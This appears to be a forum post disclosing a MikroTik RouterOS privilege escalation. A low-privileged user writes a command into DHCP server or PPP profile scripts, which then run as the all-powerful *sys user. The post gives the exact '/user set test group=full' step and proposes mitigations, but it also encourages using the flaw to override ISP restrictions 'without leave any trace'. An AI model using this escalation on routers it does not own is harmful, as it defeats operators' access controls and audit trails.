DHCP server scripts and PPP profile scripts, rights escalation (not tested other points):
One user that have at least the write right,
can add or modify the script inside the DHCP Server or PPP profile for execute any RouterOS command for rights escalation.
/user group
add name=test policy=read,write,winbox
/user
add group=test name=test
Simply /user set test group=full on any script space suffice…
You lost the admin password? (cannot be recovered anyway, you can only change the password)
Your ISP lock your rights?
No problem, on this way you can do all you want, without leave any trace.
Why all that?
Because events use *sys user that is unlimited, have all possible rights
[RexTended@MATRIX] /system script job> pri detail
0 owner=“*sys” policy=*0,local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,password,web,sniff,sensitive,api,romon,dude,tikapp,
*13,*14,*15,*16,*17,*18,*19,*1A,*1B,*1C,*1D,*1E,*1F
started=sep/07/2023 13:26:07 type=command
This is not happen on netwatch because the *sys user used have limited rights:
[RexTended@MATRIX] /system script job> pri detail
0 owner=“*sys” policy=reboot,read,write,test started=sep/07/2023 13:34:29 type=command
Solution:
Remove any access from external users.
MikroTik must add the field for specify what user must be used for launch scripts, on any point is possible add one script.
Probable further vulnerability:
If the user *sys has winbox authorization, someone if they find winbox open (which is wrong) could use the user *sys to access the system…
